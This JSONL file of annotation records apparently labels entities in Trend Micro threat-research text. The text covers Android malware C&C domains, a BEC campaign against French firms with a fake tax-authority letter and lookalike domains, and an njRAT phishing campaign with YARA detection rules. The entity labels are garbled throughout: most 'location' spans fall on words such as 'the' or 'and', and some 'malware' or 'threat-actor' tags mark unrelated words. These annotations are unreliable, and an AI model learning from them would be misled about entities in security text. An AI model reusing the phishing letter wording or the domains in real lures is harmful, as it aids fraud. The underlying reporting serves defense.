com.abdulrauf.filemanager","entities":[{"id":25249,"label":"location","start_offset":18,"end_offset":22}],"relations":[],"Comments":[]} {"id":8161,"text":"FileCrypt Manager com.callCam.android.callCam2base callCamm com.camero.android.camera2basic Camero","entities":[],"relations":[],"Comments":[]} {"id":8162,"text":" C&C Servers ms-ethics.net","entities":[],"relations":[],"Comments":[]} {"id":8163,"text":" deb-cn.net ap1-acl.net m s-db.net","entities":[],"relations":[],"Comments":[]} -{"id":8164,"text":" aws-check.net reawk.net MITRE ATT&CK Matrix™ Tags Mobile | APT & Targeted Attacks | Research","entities":[{"id":25256,"label":"location","start_offset":73,"end_offset":79},{"id":25257,"label":"location","start_offset":82,"end_offset":85}],"relations":[],"Comments":[]} -{"id":8165,"text":"The highly anonymous and often secretive nature of the internet has led to the proliferation of scams aimed at separating people and organizations from their money.","entities":[{"id":25258,"label":"location","start_offset":21,"end_offset":24},{"id":25259,"label":"location","start_offset":129,"end_offset":132},{"id":25260,"label":"location","start_offset":158,"end_offset":163}],"relations":[],"Comments":[]} -{"id":8166,"text":"Trend Micro has been following these scams over the years and have seen many of them evolve from simplistic schemes to more sophisticated campaigns.","entities":[{"id":25263,"label":"location","start_offset":58,"end_offset":61},{"id":25264,"label":"location","start_offset":72,"end_offset":76},{"id":25265,"label":"location","start_offset":80,"end_offset":84}],"relations":[],"Comments":[]} -{"id":8167,"text":"One of the most dangerous scams today — one which cost organizations a combined US$1.7 billion in exposed losses in 2019 — is Business Email Compromise (BEC).","entities":[{"id":25267,"label":"location","start_offset":11,"end_offset":15},{"id":25269,"label":"location","start_offset":40,"end_offset":43},{"id":25270,"label":"location","start_offset":50,"end_offset":54}],"relations":[],"Comments":[]} -{"id":8168,"text":"We have already tackled a large number of BEC-related topics.","entities":[{"id":25273,"label":"location","start_offset":26,"end_offset":31}],"relations":[],"Comments":[]} -{"id":8169,"text":"In this article, however, we would like to raise awareness about a new modus operandi involving a very clever BEC campaign that uses social engineering to target a huge number of French companies across different industries.","entities":[{"id":25274,"label":"location","start_offset":103,"end_offset":109},{"id":25275,"label":"location","start_offset":114,"end_offset":122},{"id":25276,"label":"location","start_offset":155,"end_offset":161}],"relations":[],"Comments":[]} {"id":8170,"text":" Figure 1. Diagram showing how the BEC scam is carried out Background","entities":[],"relations":[],"Comments":[]} -{"id":8171,"text":"While investigating various BEC attacks, we found an isolated incident where malicious actors impersonated a French company in the metal fabrication industry, which provides its services to a lot of different companies.","entities":[{"id":25280,"label":"location","start_offset":131,"end_offset":136},{"id":25281,"label":"location","start_offset":149,"end_offset":157},{"id":25282,"label":"location","start_offset":192,"end_offset":195}],"relations":[],"Comments":[]} -{"id":8172,"text":"The malicious actors behind the scam registered a domain that is very similar to the legitimate one used by the business (with the fake one having a misspelled company name) and used it to send emails to their targets.","entities":[{"id":25283,"label":"location","start_offset":96,"end_offset":99},{"id":25284,"label":"location","start_offset":136,"end_offset":139},{"id":25285,"label":"location","start_offset":174,"end_offset":177}],"relations":[],"Comments":[]} -{"id":8173,"text":"The fraudulent domain was registered on July 27, 2020, and the perpetrators sent the fraudulent email on the same day.","entities":[{"id":25287,"label":"location","start_offset":55,"end_offset":58}],"relations":[],"Comments":[]} -{"id":8174,"text":"The email, which was impersonating a real employee of the company, contained a request asking the targets to change the company’s banking reference to a new account with an Italian bank.","entities":[{"id":25289,"label":"location","start_offset":37,"end_offset":41}],"relations":[],"Comments":[]} -{"id":8175,"text":" Figure 2. Screenshot of the email containing a request to change the target company’s banking reference to a new account in an Italian bank.","entities":[{"id":25292,"label":"location","start_offset":74,"end_offset":80}],"relations":[],"Comments":[]} -{"id":8176,"text":"A rough translation of the email: “Following a banking account change, please find our new banking references (mail and Bank Identifier Code) attached, which we kindly ask you to update in your files.","entities":[{"id":25294,"label":"location","start_offset":116,"end_offset":119}],"relations":[],"Comments":[]} {"id":8177,"text":"Thank you for your understanding.","entities":[],"relations":[],"Comments":[]} -{"id":8178,"text":"Please confirm the reception of this email and confirm the handling of our request (very urgent!)","entities":[{"id":25295,"label":"location","start_offset":43,"end_offset":46}],"relations":[],"Comments":[]} {"id":8179,"text":" The email contained two PDF file attachments.","entities":[],"relations":[],"Comments":[]} -{"id":8180,"text":"The first one was a letter to confirm the change, as seen in the screenshot below.","entities":[{"id":25298,"label":"location","start_offset":10,"end_offset":13}],"relations":[],"Comments":[]} {"id":8181,"text":" Figure 3. Letter confirming the changes in the company’s bank reference.","entities":[],"relations":[],"Comments":[]} -{"id":8182,"text":"The PDF file looks very professional and even contains the real footers and logos from the impersonated company.","entities":[{"id":25300,"label":"location","start_offset":37,"end_offset":40},{"id":25301,"label":"location","start_offset":59,"end_offset":63},{"id":25302,"label":"location","start_offset":72,"end_offset":75}],"relations":[],"Comments":[]} {"id":8183,"text":" Meanwhile, the second PDF file shows the banking account reference number: Figure 4.","entities":[],"relations":[],"Comments":[]} -{"id":8184,"text":"The PDF file showing the new banking reference account Note that as soon as we noticed the scam, we reached out to the targeted company (who was incredibly responsive) and worked with them to prevent it from affecting their organization.","entities":[{"id":25305,"label":"location","start_offset":172,"end_offset":175},{"id":25306,"label":"location","start_offset":188,"end_offset":192}],"relations":[],"Comments":[]} -{"id":8185,"text":"In addition, they had filed a complaint and reached out to the Italian bank to stop the fraud attempt.","entities":[{"id":25307,"label":"location","start_offset":40,"end_offset":43},{"id":25309,"label":"location","start_offset":79,"end_offset":83}],"relations":[],"Comments":[]} {"id":8186,"text":"Initial investigation ","entities":[],"relations":[],"Comments":[]} -{"id":8187,"text":"We found references on the company website showing that the alleged sender of the fraudulent email is an actual employee of the target company.","entities":[{"id":25310,"label":"location","start_offset":128,"end_offset":134}],"relations":[],"Comments":[]} -{"id":8188,"text":"However, instead of working in the accounting department, as seen in the email, the person actually worked as a webmaster.","entities":[{"id":25311,"label":"location","start_offset":84,"end_offset":90}],"relations":[],"Comments":[]} -{"id":8189,"text":"It’s possible that the fraudsters chose a random person based on the information they found prior to their scheme and decided to use it for their operation.","entities":[{"id":25312,"label":"location","start_offset":49,"end_offset":55},{"id":25313,"label":"location","start_offset":114,"end_offset":117}],"relations":[],"Comments":[]} -{"id":8190,"text":"Interestingly enough, the fraudsters committed several mistakes: They forgot to change the target name in the header of the email content, therefore leaking the name of another target.","entities":[{"id":25314,"label":"location","start_offset":92,"end_offset":98},{"id":25315,"label":"location","start_offset":131,"end_offset":138},{"id":25316,"label":"location","start_offset":178,"end_offset":184}],"relations":[],"Comments":[]} {"id":8191,"text":"A perceptive employee could potentially identify this as something unusual, which raises red flags.","entities":[],"relations":[],"Comments":[]} -{"id":8192,"text":"We found another version of the PDF file that revealed the account being used for the bank reference change had the name of an individual and was not registered under the name of the target company.","entities":[{"id":25317,"label":"location","start_offset":138,"end_offset":141},{"id":25318,"label":"location","start_offset":183,"end_offset":189}],"relations":[],"Comments":[]} {"id":8193,"text":" Figure 5.","entities":[],"relations":[],"Comments":[]} {"id":8194,"text":"The PDF file showing the banking account reference.","entities":[],"relations":[],"Comments":[]} -{"id":8195,"text":"However, instead of showing the target company as the owner of the account, it shows the name of a person.","entities":[{"id":25320,"label":"location","start_offset":32,"end_offset":38},{"id":25321,"label":"location","start_offset":99,"end_offset":105}],"relations":[],"Comments":[]} {"id":8196,"text":" We investigated the name shown on the account but did not find any useful information other than the fact that this name is used mostly in the Ivory Coast in Africa.","entities":[],"relations":[],"Comments":[]} -{"id":8197,"text":"Delving deeper into the scam The email address used to register the fraudulent domain has been used to register several other domains since 2019, all of them showing similar names to legitimate French company domains, but again with slight errors here and there (for example using “techrnologies” instead of “technologies). Domain","entities":[{"id":25324,"label":"location","start_offset":56,"end_offset":64},{"id":25325,"label":"location","start_offset":105,"end_offset":113},{"id":25327,"label":"location","start_offset":155,"end_offset":159},{"id":25329,"label":"location","start_offset":254,"end_offset":257}],"relations":[],"Comments":[]} -{"id":8198,"text":" Creation Date eltn[.]fr 8\/23\/2019 chnonopost[.]fr 9\/30\/2019 sfrbiz[.]fr 11\/24\/2019 ouflook[.]fr 12\/9\/2019 carre-haussrmann[.]fr 12\/10\/2019 4a-archifectes[.]fr 1\/16\/2020 harribeyconstuctions[.]fr 2\/5\/2020 stanvwell[.]r 5\/28\/2020 paretsarl[.]fr 6\/17\/2020 tkl-consutling[.]fr 6\/29\/2020 axa-etancheite[.]fr 7\/1\/2020 garantiesdesdepots[.]fr 7\/6\/2020 jacormex[.]fr 7\/14\/2020 harribeyconsstructions[.]fr 7\/15\/2020 transportcazaux[.]fr 7\/17\/2020 atg-techrnologies[.]fr 7\/22\/2020 cephii.eu 7\/27\/2020 efiiltec[.]fr 7\/27\/2020 benne-rci[.]fr 7\/28\/2020 soterm[.]fr 7\/29\/2020 phamasys[.]fr 7\/31\/2020 huuaume.fr 08\/05\/2020 larm-inox[.]fr 8\/13\/2020 Table 1. Domains registered using the email address The email address used did not seem to have been compromised and was probably created by the malicious actors themselves.","entities":[{"id":25330,"label":"location","start_offset":10,"end_offset":14},{"id":25333,"label":"location","start_offset":795,"end_offset":798}],"relations":[],"Comments":[]} {"id":8199,"text":"Table 1. Domains registered using the email address ","entities":[],"relations":[],"Comments":[]} -{"id":8200,"text":"This list also reveals that the attackers are targeting a wide swath of industries, probably in an opportunistic manner.","entities":[{"id":25335,"label":"location","start_offset":5,"end_offset":9},{"id":25336,"label":"location","start_offset":42,"end_offset":45}],"relations":[],"Comments":[]} -{"id":8201,"text":"While we could not confirm that all of these domains have been used to commit BEC fraud, we did find at least one additional case in which the fraudsters targeted an organization that was part of the healthcare industry.","entities":[{"id":25338,"label":"location","start_offset":125,"end_offset":129},{"id":25339,"label":"location","start_offset":211,"end_offset":219}],"relations":[],"Comments":[]} -{"id":8202,"text":" Impersonating the French tax system In many BEC schemes, the perpetrators infect the machines of their targets with malware that will allow them to read — and therefore gather information — from emails.","entities":[{"id":25341,"label":"location","start_offset":40,"end_offset":44},{"id":25342,"label":"location","start_offset":130,"end_offset":134},{"id":25343,"label":"location","start_offset":141,"end_offset":145},{"id":25344,"label":"location","start_offset":158,"end_offset":161}],"relations":[],"Comments":[]} -{"id":8203,"text":"Once the cybercriminals gain access to the mailboxes of their targets, they search for material on the people involved with the organization's finance and accounting departments.","entities":[{"id":25345,"label":"location","start_offset":151,"end_offset":154}],"relations":[],"Comments":[]} -{"id":8204,"text":"In addition, the attackers also look for information on the company’s customers and partners.","entities":[{"id":25346,"label":"location","start_offset":80,"end_offset":83}],"relations":[],"Comments":[]} -{"id":8205,"text":"Using this method, BEC scammers can then impersonate an employee to entice a victim to carry out their goals via social engineering.","entities":[{"id":25348,"label":"location","start_offset":32,"end_offset":35}],"relations":[],"Comments":[]} {"id":8206,"text":" This is BEC as we usually know it.","entities":[],"relations":[],"Comments":[]} -{"id":8207,"text":"We found evidence that the cybercriminals involved in this case had used malware as well, but ultimately, they did not really even need it.","entities":[{"id":25349,"label":"location","start_offset":59,"end_offset":63}],"relations":[],"Comments":[]} -{"id":8208,"text":"Instead, they used an alternative — and admittedly clever — method of hunting for their target’s financial data themselves.","entities":[{"id":25350,"label":"location","start_offset":38,"end_offset":41},{"id":25351,"label":"location","start_offset":53,"end_offset":59},{"id":25352,"label":"location","start_offset":75,"end_offset":82},{"id":25353,"label":"location","start_offset":93,"end_offset":99}],"relations":[],"Comments":[]} -{"id":8209,"text":" With the help of the organization that the scam targeted, we were able to determine the initial approach the cybercriminals used: they presented their emails to appear as if it was from the French tax system to gather information on their target.","entities":[{"id":25355,"label":"location","start_offset":241,"end_offset":247}],"relations":[],"Comments":[]} {"id":8210,"text":"A little over two weeks before the registration of the fake domain, the attackers sent the following email to the company: Figure 6.","entities":[],"relations":[],"Comments":[]} {"id":8211,"text":"The initial email sent by the malicious actors, allegedly from the General Directorate of Public Finances (DGFiP) of France, concerning tax inquiries The email contained an attached PDF file that seemed to be a letter from the French Tax service: Figure 7.","entities":[],"relations":[],"Comments":[]} -{"id":8212,"text":"The content of the PDF attachment sent with the email Essentially, the PDF file contains a request from the spoofed government organization asking the target company for information on their customers, employees, and other financial data.","entities":[{"id":25362,"label":"location","start_offset":4,"end_offset":11},{"id":25363,"label":"location","start_offset":155,"end_offset":161},{"id":25364,"label":"location","start_offset":217,"end_offset":220}],"relations":[],"Comments":[]} -{"id":8213,"text":"The text also adds to the urgency of the request by mentioning possible fines if the target organization refuses to cooperate.","entities":[{"id":25365,"label":"location","start_offset":85,"end_offset":91}],"relations":[],"Comments":[]} -{"id":8214,"text":"The translation of the text found in the PDF file is as follows: As happens every year, in accordance with the Stability and Growth Pact with the European Commission, the Directorate General of Public Finances is launching an investigation as part of the verification of compliance with SEPA (Single Euro Payments Area) conditions and international standards.","entities":[{"id":25371,"label":"location","start_offset":331,"end_offset":334},{"id":25372,"label":"location","start_offset":336,"end_offset":349}],"relations":[],"Comments":[]} -{"id":8215,"text":" As such, in accordance with the provisions of articles L.81, L.85 and article L.102 B of the book of tax procedures, I would like to have, as soon as possible and no later than July 20, 2020, in dematerialized form, for each of your three (3) main Customers who pay their services by SEPA (Single Euro Payments Area) transfer for the period from 04\/01\/2020 to 07\/31\/2020 of: The aging balance to date, duplicate invoice correspondents (Not having been paid by the customer and concerning the June, July and August deadlines), contacts of the financial or accounting department (Emails, Telephones and Postal address) and one (1) duly signed and sealed commercial contract. I would point out that this operation does not constitute a verification of your tax situation and indicates to you that any refusal to cooperate is sanctioned by a tax fine provided for in article 1734 of the general tax code.","entities":[{"id":25374,"label":"location","start_offset":67,"end_offset":70},{"id":25376,"label":"location","start_offset":94,"end_offset":98},{"id":25377,"label":"location","start_offset":160,"end_offset":163},{"id":25381,"label":"location","start_offset":318,"end_offset":326},{"id":25383,"label":"location","start_offset":397,"end_offset":401},{"id":25384,"label":"location","start_offset":474,"end_offset":477},{"id":25387,"label":"location","start_offset":504,"end_offset":507},{"id":25389,"label":"location","start_offset":598,"end_offset":601},{"id":25390,"label":"location","start_offset":618,"end_offset":621},{"id":25393,"label":"location","start_offset":642,"end_offset":645},{"id":25394,"label":"location","start_offset":683,"end_offset":688},{"id":25395,"label":"location","start_offset":770,"end_offset":773},{"id":25396,"label":"location","start_offset":844,"end_offset":848}],"relations":[],"Comments":[]} -{"id":8216,"text":" I invite you to send us these documents in dematerialized form on our secure and functional messaging: odac@dgfip-finances-gouv[.]cloud","entities":[{"id":25398,"label":"location","start_offset":78,"end_offset":81}],"relations":[],"Comments":[]} {"id":8217,"text":"While thanking you for your cooperation, please believe in the assurance of my distinguished feelings.","entities":[],"relations":[],"Comments":[]} -{"id":8218,"text":"The PDF letter looks (and reads) like a real document from the French tax service.","entities":[{"id":25399,"label":"location","start_offset":22,"end_offset":25},{"id":25400,"label":"location","start_offset":40,"end_offset":44}],"relations":[],"Comments":[]} -{"id":8219,"text":"In fact, most French people would probably think this is a legitimate letter unless they look closely at the email address used (dgfip-finances-gouv[.]cloud instead of the real domain, which is dgfip.finances.gouv.fr). As we highlighted in bold, the social engineering trick used in this email is for gathering data that could potentially be useful for the malicious actors, such as client information and commercial contracts.","entities":[{"id":25402,"label":"location","start_offset":9,"end_offset":13},{"id":25404,"label":"location","start_offset":172,"end_offset":176},{"id":25406,"label":"location","start_offset":403,"end_offset":406}],"relations":[],"Comments":[]} -{"id":8220,"text":"Once this information is in the hands of the scammers, they can then move on to the next stage of the attack, which involves reaching out to the three contacts mentioned in the PDF file.","entities":[{"id":25407,"label":"location","start_offset":60,"end_offset":63}],"relations":[],"Comments":[]} -{"id":8221,"text":" One interesting side note: it seems the BEC scammers actually built their PDF file from a real PDF file used by the French tax system.","entities":[{"id":25411,"label":"location","start_offset":91,"end_offset":95}],"relations":[],"Comments":[]} -{"id":8222,"text":"The real name of the author of the document (as seen in the metadata) is indeed the name of a real government employee working in the department responsible for handling tax-related issues.","entities":[{"id":25413,"label":"location","start_offset":4,"end_offset":8},{"id":25414,"label":"location","start_offset":94,"end_offset":98}],"relations":[],"Comments":[]} {"id":8223,"text":" The use of tax-related scams is something we’ve seen before.","entities":[],"relations":[],"Comments":[]} -{"id":8224,"text":"This incident confirms that the information stolen using tax fraud is being used for malicious purposes, in this case, a BEC scam.","entities":[{"id":25415,"label":"location","start_offset":113,"end_offset":117}],"relations":[],"Comments":[]} -{"id":8225,"text":"Expanding the target range We searched our systems for similar emails and found at least 73 different French companies targeted by these cybercriminals. Figure 8.","entities":[{"id":25416,"label":"location","start_offset":14,"end_offset":20},{"id":25417,"label":"location","start_offset":21,"end_offset":26},{"id":25418,"label":"location","start_offset":70,"end_offset":73}],"relations":[],"Comments":[]} -{"id":8226,"text":"The industry distribution of the companies targeted in this particular BEC scam.","entities":[{"id":25422,"label":"location","start_offset":4,"end_offset":12}],"relations":[],"Comments":[]} -{"id":8227,"text":"Organizations in the manufacturing sector were by far the most targeted The most targeted industry in this BEC campaign is manufacturing, particularly manufacturing companies that build high tech products and materials.","entities":[{"id":25424,"label":"location","start_offset":58,"end_offset":62},{"id":25425,"label":"location","start_offset":80,"end_offset":84},{"id":25426,"label":"location","start_offset":94,"end_offset":102},{"id":25427,"label":"location","start_offset":115,"end_offset":123},{"id":25428,"label":"location","start_offset":209,"end_offset":212}],"relations":[],"Comments":[]} -{"id":8228,"text":"This was followed by the healthcare, real estate, energy, and food and beverage industries.","entities":[{"id":25429,"label":"location","start_offset":37,"end_offset":41},{"id":25430,"label":"location","start_offset":50,"end_offset":56},{"id":25431,"label":"location","start_offset":58,"end_offset":61},{"id":25432,"label":"location","start_offset":67,"end_offset":70}],"relations":[],"Comments":[]} -{"id":8229,"text":"Many of the targeted companies work with many different service providers and partners, making requests for changes in banking references look less suspicious. It’s highly likely that the fraud is more widespread than we have data on.","entities":[{"id":25433,"label":"location","start_offset":0,"end_offset":4},{"id":25434,"label":"location","start_offset":41,"end_offset":45},{"id":25435,"label":"location","start_offset":74,"end_offset":77},{"id":25436,"label":"location","start_offset":173,"end_offset":179}],"relations":[],"Comments":[]} -{"id":8230,"text":"In addition to reaching out and working with the first organization we investigated, we also notified the other targets, all of whom have been very reactive to the threat.","entities":[{"id":25437,"label":"location","start_offset":28,"end_offset":31}],"relations":[],"Comments":[]} {"id":8231,"text":"We also helped close the fraudulent domains.","entities":[],"relations":[],"Comments":[]} -{"id":8232,"text":" Defending your organization from BEC attacks Businesses are advised to educate employees on how BEC scams and other similar attacks work.","entities":[{"id":25439,"label":"location","start_offset":58,"end_offset":61},{"id":25440,"label":"location","start_offset":108,"end_offset":111}],"relations":[],"Comments":[]} -{"id":8233,"text":"These schemes do not require advanced technical skills: all that’s needed to launch an effective BEC scam is a single compromised account and services that are widely available in the cybercriminal underground.","entities":[{"id":25441,"label":"location","start_offset":138,"end_offset":141},{"id":25442,"label":"location","start_offset":156,"end_offset":159}],"relations":[],"Comments":[]} {"id":8234,"text":"As such, here are some tips on how to stay safe from these online schemes: Carefully scrutinize all emails.","entities":[{"id":25443,"label":"location","start_offset":14,"end_offset":17},{"id":25444,"label":"threat-actor","start_offset":43,"end_offset":47}],"relations":[],"Comments":[]} -{"id":8235,"text":"Be wary of irregular emails sent by high-level executives, especially those that have an unusual sense of urgency, as they can be used to trick employees into furthering the scam.","entities":[{"id":25445,"label":"location","start_offset":123,"end_offset":126}],"relations":[],"Comments":[]} -{"id":8236,"text":"Always review emails requesting for funds to determine if the requests are out of the ordinary.","entities":[{"id":25446,"label":"location","start_offset":71,"end_offset":74},{"id":25447,"label":"location","start_offset":86,"end_offset":94}],"relations":[],"Comments":[]} {"id":8237,"text":"Raise employee awareness.","entities":[],"relations":[],"Comments":[]} -{"id":8238,"text":"While employees are a company’s biggest asset, they can also be its weakest link when it comes to security.","entities":[{"id":25448,"label":"location","start_offset":16,"end_offset":19},{"id":25449,"label":"location","start_offset":52,"end_offset":55},{"id":25450,"label":"location","start_offset":98,"end_offset":106}],"relations":[],"Comments":[]} -{"id":8239,"text":"Commit to training employees, reviewing company policies, and developing good security habits.","entities":[{"id":25451,"label":"location","start_offset":58,"end_offset":61},{"id":25452,"label":"location","start_offset":73,"end_offset":77},{"id":25453,"label":"location","start_offset":78,"end_offset":86}],"relations":[],"Comments":[]} -{"id":8240,"text":"Verify any changes in vendor payment location by using a secondary sign-off by company personnel.","entities":[{"id":25454,"label":"location","start_offset":22,"end_offset":28}],"relations":[],"Comments":[]} -{"id":8241,"text":"Stay updated on customer habits, including the details and reasons behind payments.","entities":[{"id":25455,"label":"location","start_offset":55,"end_offset":58}],"relations":[],"Comments":[]} {"id":8242,"text":"Always verify requests.","entities":[],"relations":[],"Comments":[]} -{"id":8243,"text":"Confirm requests for fund transfers using phone verification as a part of two-factor authentication (2FA), use known familiar numbers and not the details provided in the email requests.","entities":[{"id":25457,"label":"location","start_offset":134,"end_offset":137}],"relations":[],"Comments":[]} -{"id":8244,"text":"Report any incident immediately to law enforcement or file a complaint with the Internet Crime Complaint Center (IC3). Trend Micro Solutions Email","entities":[{"id":25458,"label":"location","start_offset":35,"end_offset":38},{"id":25461,"label":"location","start_offset":126,"end_offset":131}],"relations":[],"Comments":[]} -{"id":8245,"text":"The email security capabilities of the Trend Micro User Protection and Network Defense solutions can block email messages used in Business Email Compromise attacks.","entities":[{"id":25462,"label":"location","start_offset":10,"end_offset":18},{"id":25463,"label":"location","start_offset":45,"end_offset":50},{"id":25464,"label":"location","start_offset":56,"end_offset":66},{"id":25465,"label":"location","start_offset":67,"end_offset":70},{"id":25466,"label":"location","start_offset":97,"end_offset":100}],"relations":[],"Comments":[]} -{"id":8246,"text":"Malware Endpoint security capabilities in Trend Micro User Protection and Network Defense solutions can detect advanced malware and other threats used in BEC schemes.","entities":[{"id":25467,"label":"location","start_offset":18,"end_offset":26},{"id":25468,"label":"location","start_offset":49,"end_offset":54},{"id":25469,"label":"location","start_offset":60,"end_offset":70},{"id":25470,"label":"location","start_offset":71,"end_offset":74},{"id":25471,"label":"location","start_offset":101,"end_offset":104},{"id":25472,"label":"location","start_offset":129,"end_offset":132}],"relations":[],"Comments":[]} {"id":8247,"text":"Indicators of Compromise (IoCs) Domains dgfip-finances-gouv[.]cloud bellingstudio@gmail.com Tags","entities":[{"id":25473,"label":"EMAIL","start_offset":70,"end_offset":93}],"relations":[],"Comments":[]} -{"id":8248,"text":" Articles, News, Reports | APT & Targeted Attacks | Research","entities":[{"id":25474,"label":"location","start_offset":27,"end_offset":30}],"relations":[],"Comments":[]} -{"id":8249,"text":"A couple of common questions that arise whenever cyberpropaganda and hacktivism issues come up: who engages in it?","entities":[{"id":25475,"label":"location","start_offset":65,"end_offset":68}],"relations":[],"Comments":[]} -{"id":8250,"text":"Where do the people acquire the tools, skills, and techniques used?","entities":[{"id":25476,"label":"location","start_offset":47,"end_offset":50}],"relations":[],"Comments":[]} -{"id":8251,"text":"As it turns out, in at least one case, it comes from the traditional world of cybercrime.","entities":[{"id":25478,"label":"location","start_offset":33,"end_offset":37},{"id":25479,"label":"location","start_offset":69,"end_offset":74}],"relations":[],"Comments":[]} -{"id":8252,"text":"We’ve come across a case where a cybercriminal based in Libya turned from cybercrime to cyberpropaganda.","entities":[{"id":25480,"label":"location","start_offset":20,"end_offset":24}],"relations":[],"Comments":[]} {"id":8253,"text":"This highlights how the cybercrime underground in the Middle East\/North African region (covered in our paper titled Digital Souks: A Glimpse into the Middle Eastern and North African Underground) can expand their activity into areas beyond their original area of expertise.","entities":[{"id":25484,"label":"location","start_offset":80,"end_offset":86},{"id":25486,"label":"location","start_offset":196,"end_offset":199},{"id":25487,"label":"malware","start_offset":200,"end_offset":206}],"relations":[],"Comments":[]} {"id":8254,"text":"DiscoveryOur first inkling of this threat came when we spotted a spear-phishing email campaign targeting several embassies of various European countries.","entities":[{"id":25489,"label":"location","start_offset":65,"end_offset":70},{"id":25490,"label":"attack-pattern","start_offset":71,"end_offset":79},{"id":25491,"label":"location","start_offset":86,"end_offset":94}],"relations":[],"Comments":[]} -{"id":8255,"text":"These used an alarming “Tourist attack!!” subject, and usually spoofed addresses of various Foreign Affairs ministries.","entities":[{"id":25493,"label":"location","start_offset":51,"end_offset":54}],"relations":[],"Comments":[]} -{"id":8256,"text":"The email attachments were RAR files containing an obfuscated VBS file, which had a low infection rate at the time of the incident.","entities":[{"id":25495,"label":"location","start_offset":110,"end_offset":114}],"relations":[],"Comments":[]} {"id":8257,"text":"Once the multiple layers of script obfuscation are removed, the final payload arrives—a version of the njRAT Trojan; this family has been a known threat since 2015.","entities":[{"id":25496,"label":"location","start_offset":47,"end_offset":50},{"id":25497,"label":"malware","start_offset":103,"end_offset":108}],"relations":[],"Comments":[]} {"id":8258,"text":"The obfuscation used was not particularly sophisticated.","entities":[],"relations":[],"Comments":[]} -{"id":8259,"text":"A variable containing a second layer VBS script was encoded in Unicode characters and decoded with a combination of basic string functions such as ChrW, AscW, and Mid before being run with a call to Execute.","entities":[{"id":25500,"label":"location","start_offset":82,"end_offset":85},{"id":25501,"label":"location","start_offset":159,"end_offset":162},{"id":25502,"label":"location","start_offset":191,"end_offset":195}],"relations":[],"Comments":[]} -{"id":8260,"text":"A simple Yara rule allowed us to find more of these obfuscated VBS scripts: rule layer1_vbs { strings: $vbs = \/[a-z]+ = [a-z]+ & ChrW\\(AscW\\(Mid\\([a-z]+, [a-z]+, 1\\)\\) – [a-z]+ \\* [a-z]+\\)\/ wide condition: $vbs }","entities":[{"id":25504,"label":"location","start_offset":14,"end_offset":18},{"id":25505,"label":"location","start_offset":76,"end_offset":80}],"relations":[],"Comments":[]} {"id":8261,"text":"We believe that this specific VBS obfuscation script was created by the N7r team, a North African hacking group known for making video tutorials on using common RATs (that this particular script wasn’t part of any such videos).","entities":[],"relations":[],"Comments":[]} -{"id":8262,"text":"We initially thought that this team—or someone close to them using their tools—launched the campaign.","entities":[{"id":25508,"label":"location","start_offset":56,"end_offset":60},{"id":25509,"label":"location","start_offset":92,"end_offset":100}],"relations":[],"Comments":[]} -{"id":8263,"text":"As the campaign became more prominent, the detection rate for these scripts improved.","entities":[{"id":25510,"label":"location","start_offset":7,"end_offset":15}],"relations":[],"Comments":[]} -{"id":8264,"text":"This led the person behind the campaign to send new emails to other diplomatic targets, as well as other targets (such as hotels and other companies) in North Africa.","entities":[{"id":25511,"label":"location","start_offset":13,"end_offset":19},{"id":25512,"label":"location","start_offset":31,"end_offset":39},{"id":25513,"label":"location","start_offset":129,"end_offset":132}],"relations":[],"Comments":[]} {"id":8265,"text":"The new emails used more common phishing tactics, such as alleged requests for payment confirmation.","entities":[{"id":25515,"label":"attack-pattern","start_offset":32,"end_offset":40}],"relations":[],"Comments":[]} {"id":8266,"text":"At least one message was sent to a diplomat based in the island of Saint Martin after Hurricane Irma hit.","entities":[{"id":25517,"label":"location","start_offset":35,"end_offset":43},{"id":25518,"label":"location","start_offset":57,"end_offset":63},{"id":25521,"label":"identity","start_offset":101,"end_offset":104}],"relations":[],"Comments":[]} -{"id":8267,"text":"This particular actor was at something of a crossroads regarding his cybercrime “career”: while he’s still making good money from simple scams, he’s also improving his skills and branching out to targeted attacks.","entities":[{"id":25522,"label":"location","start_offset":44,"end_offset":54},{"id":25523,"label":"location","start_offset":114,"end_offset":118},{"id":25524,"label":"location","start_offset":119,"end_offset":124},{"id":25525,"label":"location","start_offset":175,"end_offset":178}],"relations":[],"Comments":[]} {"id":8268,"text":"The attachments used in this second wave was more sophisticated, but barely so.","entities":[],"relations":[],"Comments":[]} -{"id":8269,"text":"The most meaningful change was the addition of an extra layer of VBS obfuscation.","entities":[{"id":25527,"label":"location","start_offset":4,"end_offset":8}],"relations":[],"Comments":[]} {"id":8270,"text":"The payload was still njRAT.","entities":[{"id":25528,"label":"malware","start_offset":22,"end_offset":27}],"relations":[],"Comments":[]} -{"id":8271,"text":"We were able to find other samples with the same technique, but these samples did not have ties to N7r.","entities":[{"id":25529,"label":"location","start_offset":44,"end_offset":48}],"relations":[],"Comments":[]} -{"id":8272,"text":"We believe that our attacker finds obfuscators in various forums, and chains them together in an attempt to avoid detection.","entities":[{"id":25530,"label":"location","start_offset":66,"end_offset":69},{"id":25531,"label":"location","start_offset":77,"end_offset":81}],"relations":[],"Comments":[]} -{"id":8273,"text":"This is the Yara rule we used to search for similar samples: rule layer0_vbs { strings: $code = \/Dim \\w+\\s+\\r\\n\\s+For Each \\w+ In split\\(\\w+,”.+”\\)\\r\\n\\s+\\w+ = \\w+ & ChrW\\(\\w+ – “\\d+”\\)\/ condition: $code }","entities":[{"id":25532,"label":"location","start_offset":12,"end_offset":16},{"id":25533,"label":"location","start_offset":17,"end_offset":21},{"id":25534,"label":"location","start_offset":61,"end_offset":65}],"relations":[],"Comments":[]} {"id":8274,"text":"These Yara rules allowed us to find other samples, which delivered other basic RATs like H-Worm, Luminosity, and RemCOS.","entities":[{"id":25536,"label":"location","start_offset":109,"end_offset":112},{"id":25537,"label":"malware","start_offset":113,"end_offset":119}],"relations":[],"Comments":[]} -{"id":8275,"text":"These samples connected to other C&C servers, which we were able to use to connect them all to the threat actor.","entities":[{"id":25538,"label":"location","start_offset":83,"end_offset":87}],"relations":[],"Comments":[]} {"id":8276,"text":"Some of these domains were also tied to banking malware, confirming our attacker was not limited to embassies.","entities":[],"relations":[],"Comments":[]} {"id":8277,"text":"OPSEC 101 – Or How Not To Do OPSECGathering the above information was enough to protect our customers.","entities":[],"relations":[],"Comments":[]} -{"id":8278,"text":"However, we decided to dig a little further and noticed a few things.","entities":[{"id":25540,"label":"location","start_offset":29,"end_offset":35},{"id":25541,"label":"location","start_offset":44,"end_offset":47}],"relations":[],"Comments":[]} {"id":8279,"text":"The attacker almost always sent his mails from a Libyan IP address.","entities":[],"relations":[],"Comments":[]} {"id":8280,"text":"In some cases, compromised SMTP servers belonging to the hotels he had breached were used.","entities":[],"relations":[],"Comments":[]} {"id":8281,"text":"He 